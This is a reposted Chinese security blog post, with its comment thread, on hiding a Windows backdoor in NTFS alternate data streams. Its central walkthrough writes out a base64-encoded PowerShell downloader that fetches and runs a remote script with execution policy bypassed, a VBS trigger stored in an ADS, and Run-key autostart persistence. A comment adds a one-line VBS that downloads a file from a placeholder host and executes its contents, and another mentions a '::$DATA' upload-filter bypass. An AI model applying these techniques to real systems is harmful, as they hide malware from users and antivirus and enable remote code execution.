CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

ads

2017年5月23日 665点热度 0人点赞 0条评论

ads

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

一个用ADS(供选数据流)隐藏Windows后门的方法

nickchang2015-07-27共245661人围观 ,发现 27 个不明物体文章系统安全

1 引言

隐藏windows病毒文件有很多方法,比如伪装成一个系统文件,或者取一个与系统文件很像的文件名例如svch0st.exe并且将其放在system32目录下。或者hook一些api并拦截其显示功能。这里介绍另一种方法,把一个后门隐藏在ADS (供选数据流/ alternate data stream)里面。请注意从win XP以后,微软已经禁止用户从ADS里直接执行程序,最近从Enigma0x3学到一个新的方法可以绕过这个限制。而且这个方法并不需要admin权限。

*顺便提一句,国内大多数文章把 alternate data stream 翻译为交换数据流。但是我个人认为ADS应该翻译为 供选数据流才更加合适一点。^_^

2 ADS (供选数据流/ alternate data stream)

NTFS使用Master File Table (MFT) 来管理文件。windows系统中的每个文件都对应一个MFT记录。而每一个MFT记录由若干个属性(attribute)组成,用来描述该文件的具体信息。比如 $FILE_NAME 属性描述了该文件的文件名和创建修改访问时间,而$DATA属性包含了该文件的具体内容。

举个例子,我现在有一个文本文件,名称为test.txt,文本内容为”Hello, world!”。

其MFT记录结构如图,$FILE_NAME属性包含了该文件名test.txt。 $DATA属性则包含了内容 “Hello, world!”。这里说个题外话,由于该内容长度小于1kb,所以文件的内容就直接存储在MFT记录里面了(称为resident)。如果内容长度大于1kb,文件内容会被存储在别的地方 (称为non-resident),在这种情况下$DATA属性只包含其存储地址。这里“Hello, world!”很短,所以直接保存在了MFT记录里面。

很多人想当然的认为一个文件只能有一个$DATA属性,这是错误的。在NTFS中,一个文件可以有多个$DATA属性。比如我现在想给test.txt加入一个名为ThisIsAnADS的$DATA属性:

c:\test>echo Hello, freebuf! > test.txt:ThisIsAnADS

那么,该文件的MFT记录就变成了下图所示

你可能发现了这两个$DATA属性还是略有不同的,第一个没有名称,而第二个有名称(ThisIsAnADS)!通常人们称第一个为主数据流(primary data stream )。主数据流在文件创建的同时就被创建了,并且默认没有名称,所以也叫做未名数据流 (unnamed data stream)。第二个是我们后来创建的,并且赋予了名称(ThisIsAnADS)。这个就是供选数据流 (alternate data stream,ADS)。绝大多数用户只会和主数据流打交道,从某种意义上来说,ADS对用户是隐藏的。用常规的dir命令和windows文件管理器都没法发现ADS。而当我们查看文件内容的时候也仅仅显示主数据流的内容。

c:\test>dir test.txt
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2015-07-26  10:29                13 test.txt
1 File(s)             13 bytes
0 Dir(s)  42 991 456 256 bytes free
 
c:\test>type test.txt
Hello, world!

看!dir和type命令只显示了主数据流的长度和内容。但是我们可以使用dir /r 命令来列出ADS

c:\test>dir /r test.txt
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2015-07-26  10:29                13 test.txt
18 test.txt:ThisIsAnADS:$DATA
1 File(s)             13 bytes
0 Dir(s)  42 991 382 528 bytes free

我们也可以用powershell命令Get-Content来查看ADS的内容

PS C:\test> Get-Content test.txt -stream ThisIsAnADS
Hello, freebuf!
PS C:\test>

也许你会问,那ADS到底有什么作用哪?在实际应用中,操作系统和某些应用程序会用ADS来标记和分类文件,比如某些杀毒软件会用ADS来标记哪些文件已经被检查过了(也许我们可以自己设置ADS的内容来避免被查杀?)。IE还会用ADS来标记那些从Internet下载下来的文件。正好我刚下载了一个netcat, 查看一下nc.exe

c:\test>dir /r nc.exe
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2011-09-17  00:52            38 616 nc.exe
26 nc.exe:Zone.Identifier:$DATA
1 File(s)         38 616 bytes
0 Dir(s)  30 734 065 664 bytes free

有一个名为Zone.Identifier的ADS! 查看一下它的内容:

PS C:\test> Get-Content nc.exe -stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
PS C:\test>

ZoneID=3表示这个文件来自Internet Zone。所以每次运行nc.exe,系统知道这个文件来自Internet,然后就会弹出一个警告

3 用ADS隐藏后门

既然ADS不被大多数用户所知,而且常规的系统命令和文件管理器都检查不到其存在,那么我们可以把后门放在ADS以起到隐藏的目的。让我们先试着把netcat的二进制内容存到test.txt的一个叫nc.exe的ADS里面

c:\test>type nc.exe > test.txt:nc.exe
 
c:\test>dir /r test.txt
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2015-07-26  11:19                13 test.txt
38 616 test.txt:nc.exe:$DATA
18 test.txt:ThisIsAnADS:$DATA
1 File(s)             13 bytes
0 Dir(s)  42 990 366 720 bytes free

可以写入,没有问题。试着执行之

c:\test>start test.txt:nc.exe
Access is denied.

但是执行不成功。。。因为从windows xp以后微软就禁止用户从ADS里执行程序了。写入,读出操作都可以,但是不允许执行。

换一个思路,既然允许写和读,那么我们可以在ADS里面写入脚本,然后用脚本解释器(Wscript.exe)来运行该脚本。Wscript.exe默认支持js, vbs等,但是我更偏爱powershell的简单高效。所以准备在一个文件中写入2个ADS,一个包含powershell脚本后门,用于从网上下载和执行恶意脚本。一个包含VBS脚本,用于触发powershell脚本。具体设计如下图,包括3部分

1. 恶意脚本:一个提供真正的恶意功能的powershell脚本,比如反弹cmd shell等等,具体如何用powershell实现远控功能,请参照https://github.com/mattifestation/PowerSploit。 这里为了演示的目的,我们的”恶意脚本”只会弹出一个对话框,显示”Infected”。该文件名为malware.ps1,存放于 http://127.0.0.1:8123/malware.ps1

2. 下载器:该下载器也是一段powershell脚本,用来下载并执行恶意脚本。其实就一句话 "IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1'));" 我们把它base64编码[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1'));"))得到base64编码结果。然后把 powershell.exe -ep Bypass -noexit -enc [base64编码结果] 写入test.txt:1

3. 触发器:该触发器是一段VB脚本,会开一个cmd运行test.txt:1 里的脚本。由于我们要用wscript.exe 来运行这个ADS, 而wscript.exe会检查脚本文件的后缀名,所以这个ADS的命名必须以.vbs结尾。 具体内容为 Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in (C:\\test\\test.txt:1) do %i":objShell.Run command, 0:Set objShell = Nothing,将其写入test.txt:2.vbs

用wscript.exe运行一下,成功!进程管理器显示该进程名为powershell.exe

当然,还可以把wscript.exe test.txt:2.vbs 放在注册表与自动启动相关的键值里,比如HKCU\Software\Microsoft\Windows\CurrentVersion\Run 等,以实现开机自启动。

在这个例子里,我们把ADS加在了一个文本文件(test.txt)上。其实在NTFS中,目录和文件的MFT记录结构是一样的。所以我们也可以把ADS加在目录上,比如$env:UserProfile\AppData 。

*本文作者:nickchang,本文属FreeBuf原创奖励计划,未经许可禁止转载

nickchang

nickchang10 篇文章等级: 4级
|
|
  • 上一篇:强大的安卓手机远程管理工具 – Droidjack
  • 下一篇:有工具了,如何快速发现Windows中毒(含工具下载)

这些评论亮了

  • 李菊福(2级)回复
    http://www.xfocus.net/articles/200212/466.html
    )9(亮了
  • taylorwin(5级)回复
    见到详细解释了,以前不太明白了的
    )6(亮了
发表评论

已有 27 条评论

  • taylorwin (5级) 2015-07-27回复1楼

    见到详细解释了,以前不太明白了的

    亮了(6)
  • gohome_playballs (1级) 2015-07-27回复2楼

    解释的真详细
    以前在pcbeta下了个googlemap里面捆了类似的,启动项放了个bat,系统目录一个vbs,数据流好像是放了个pe,具体的记不太清楚,当时微点,360啥提示没有,单软件查看的数据流文件还都不完整,找了俩工具配合着才把文件删了。以前好像也就卡巴死机有数据流查杀,一般杀软都不管这个,这个要是中了,隐藏时间肯定不短

    亮了(4)
  • 李菊福 (2级) 2015-07-27回复3楼

    http://www.xfocus.net/articles/200212/466.html

    亮了(9)
    • 123 2015-07-27回复

      @ 李菊福  这个脸打疼了。。。。。。。。。

      亮了(3)
    • nickchang (4级) 2015-07-27回复

      @ 李菊福

      谢谢楼上的连接,NTFS发展到现在也有20多年了,利用ADS本来就不是一个新的话题。

      这篇Xfocus的文章是xp时代写的,上面很多方法在win7以后已经行不通了:
      1. “所以,我们应该指明路径,不管时绝对路径还是相对路径.比如,下面的任何一个命令都可以: d:\ads>start d:\ads\myfile.txt:np.exe ”
      行不通,PE在ADS里不允许执行
      2。 "还有一种可选择的用来执行隐藏文件流的方法,我们来示范一下,先在桌面上创建一个快捷方式,项目位置填入d:\ads\myfile.txt.假设你创建的流文件是sol2.exe(也就是用这个命令type d:\winnt\system32\sol.exe > myfile.txt:sol2.exe),现在我们到创建的快捷方式的属性里修改,让快捷方式指d:\ads\myfile.txt:sol2.exe,观察一下快捷方式的图标,是不是起了变化?"
      刚刚尝试过,在快捷方式里无法在目标里加上":sol2.exe"
      3. "对于使用perl的管理员可用下面的代码执行ADSs my $file = ‘d:\ads\myfile.txt:sol2.exe’;"
      用Perl 5试过,无法执行
      4. "在开始的运行框中也可以执行ADSs比如: file:///d:/ads/myfile.txt:sol2.exe"
      win7里无法执行

      关于ADS的检测,Xfocus的文章说” 如前所述,微软并没有提供工具来检测ADSs的存在.现在检测ADSs最好的工具是由Frank Heyne写了Lads.exe.这个工具现在的版本是3.10,它是一个命令行工具)”
      然而现在,微软的dir /r 和 Get-Item, Get-Content都可以检查ADS的存在。

      Xfocus里的文章也说到了用wscript.exe 来执行ADS里的vbs脚本,但是它给出的例子是直接弹出一个对话框,本文的思路是放入两个ADS, 一个vbs一个ps, 用vbs触发ps脚本来下载执行其他的恶意载荷。然后用PowerSploit(https://github.com/mattifestation/PowerSploit)强大的功能进一步的渗透。

      亮了(4)
      • 李菊福 (2级) 2015-07-28回复

        @ nickchang  另外我这里还有一份pkav的资料 http://pan.baidu.com/s/1dDo9iQP 提取密码:1bft

        亮了(3)
      • nickchang (4级) 2015-07-29回复

        @ 李菊福  谢谢,总结得很全面

        亮了(3)
  • Fiend520 (7级) 2015-07-27回复4楼

    尼恩都是大神,让我如何跟得上脚步呀

    亮了(3)
  • HHH 2015-07-27回复5楼

    每天都会看见装逼失败的案例。http://www.xfocus.net/articles/200212/466.html

    亮了(5)
    • nickchang (4级) 2015-07-27回复

      @ HHH 你真的读文章了吗?

      亮了(3)
  • 呵呵 2015-07-27回复6楼

    linux下在ntfs里头创建一个1.txt:2.txt,linux里可以直接用转义符\:显示整个文件的内容,那么linux认不认ADS呢

    亮了(4)
    • nickchang (4级) 2015-07-27回复

      @ 呵呵 好问题,刚才在ubuntu下面试了一下,当然你mount的时候要指定 -o streams_interface=windows

      sudo mount /dev/sdb1 /media/a -o streams_interface=windows
      touch test1
      echo echo hello freebuf > test1:a
      ./test1:a
      hello freebuf

      linux不但认ADS,而且可以直接执行

      亮了(4)
  • 前端狗 2015-07-27回复7楼

    这属于上传绕过经典案例。常见于NTFS开始流行年代的入侵技巧文章,起码5年前。利用方式呢就是上传后缀黑名单绕过,比如".php"变成了".php::$DATA"就可以绕过黑名单检测,你们想想"黑名单模式上传"都是什么年代的安全观念了。说5年还是看得起它。

    亮了(3)
    • nickchang (4级) 2015-07-28回复

      @ 前端狗

      谢谢补充,ADS有很多种利用用法,你说的是欺骗检测程序让其误把ADS名当作文件名。 这里说的是把脚本隐藏在ADS里面本地执行,严格来说并不这属于上传绕过经典案例。当然ADS不是一个新概念。

      亮了(4)
    • aaa 2015-07-28回复

      @ 前端狗

      技术是老技术,但是到现在这个技术还是有效的,为什么不让说呢?缓冲区溢出,sql注入也是老技术,还不是讨论到现在?

      亮了(2)
  • oopww (1级) 2015-07-27回复8楼

    为什么要2个脚本呢,一个不行吗?VBS已经可以做我想做的事情了。

    亮了(3)
    • nickchang (4级) 2015-07-27回复

      @ oopww

      你说的是对的,其实一个VBS就可以了,比如:

      echo Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET","http://xx.xx.xx.xx/test.txt",0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile "d:\test.txt",2:Dim objShell:Set objShell = WScript.CreateObject("WScript.Shell"):command = "cmd /C for /f ""delims=,"" %i in (d:\test.txt) do %i":objShell.Run command, 0:Set objShell = Nothing > test.txt:1.vbs

      用2个或者多个脚本的动机主要是可以把触发,下载和执行各个步骤分开,用不同的脚本语言,而且写入不同的文件里。这样可能可以躲过某些基于行为侦测的主动防御。不过我还没有测试过效果,实际情况不太好说。

      亮了(3)
      • 路见不平 2016-01-31回复

        @ nickchang  别灰心别气馁!加油!!不用管屁民们怎么说!群众的眼睛是雪亮的!素昧平生的我第一个支持你!也非常感谢你的分享!让我学懂了很多!谢谢!

        亮了(0)
  • 飞哥哥 2015-07-28回复9楼

    哈哈

    亮了(3)
  • 小安安 (1级) 2015-07-29回复10楼

    学到了,谢谢。

    亮了(3)
  • 李赢胜 2015-07-30回复11楼

    你好,请问你炒股吗? 1:是 2:不是 (下次不再打扰) 3:刚开户还不会炒,希望得到指导。 谢谢!回复就可以得到指导性建议,免费分析手中个股+关注或 口《943964483》

    亮了(2)
  • 风宁-met3or 2015-07-31回复12楼

    真牛逼 15年前的方法现在还可以再炒一遍

    亮了(2)
  • alfa0x (1级) 2015-08-04回复13楼

    Get-Content test.txt -stream ThisIsAnADS 小白求问,执行 这条命令 提示没有 -stream 这个参数项?

    亮了(2)
    • nickchang (4级) 2015-08-04回复

      @ alfa0x  老版本的powershell不支持这个参数,你需要升级powershell到3.0以上的版本

      亮了(0)
      • alfa0x (1级) 2015-08-04回复

        @ nickchang  OK 后来升级后就行了 :roll:

        亮了(0)
  • softbug (7级)011101000110100001100001011011... 2015-09-26回复14楼

    xfoucs 一部逝去的电影

    亮了(0)
  • 路见不平 2016-01-31回复15楼

    @ nickchang 写得非常好,我看过网上所有的类似教程,你写的是最全面,最新的教程,虽然我不认识你,但我支持你!也感谢你和freebuf.com的教程!
    另外以下几人我想要说几句了:请freebuf一定要通过我的评论,不然我火大的很!
    @ 李菊福 ;风宁-met3or;HHH 你这三个人,别人做了这么好的教程,你们看了,学会了,还说些风凉话,废话!我想反问你们几位一下,几年前就有的老技术,就不能做个好教程了吗?Office Excel,windows都是几十年前的东西,难道你们全都懂了?都掌握自如了?就算你们都懂了,后来的人就不能再学学?
    退一万步说,就算你们几位都懂了,技术都是天下第一,那我想请问下,你们都既然这么牛了,这互联网上哪篇技术教程是你们三位所写呢?你们又为网民们分享过什么高深技术呢?难道别人写个心得教程还只能写你们不懂的?你们懂的就不能写了?真是太搞笑了!
    我想 nickchang 分享心得也是一种最无私的奉献精神!全中国不懂这技术的人太多了!很值得称赞!感谢!

    亮了(2)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

nickchang

nickchang

这家伙太懒,还未填写个人描述!

10 篇文章58 条评论

相关阅读

  • 谷歌被曝秘密收集学生信息
  • 没有钱的安全部之系统日志安全
  • 解密BBOSS组织:全球超十二万站点的地下掌控者
  • 无线宝宝wifi热点共享软件刷流量行为分析
  • MDM移动终端管理系统SAP Afaria的存储型XSS漏洞利用过程

特别推荐

关注我们 分享每日精选文章

不容错过

  • 一周海外安全事件回顾(8.31-9.6):扑朔迷离的艳照门blackscreen2014-09-11
  • 【周五预告】FreeBuf公开课直播间 | 企业安全建设之使用开源软件搭建大规模WAF集群FB客服2017-03-24
  • Kali 2.0中无线安全工具更新特性(浅谈pixie结合reaver的攻击原理)月尽西楼2015-08-14
  • 技术分享:WIFI钓鱼的入门姿势东二门陈冠希2016-03-14

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me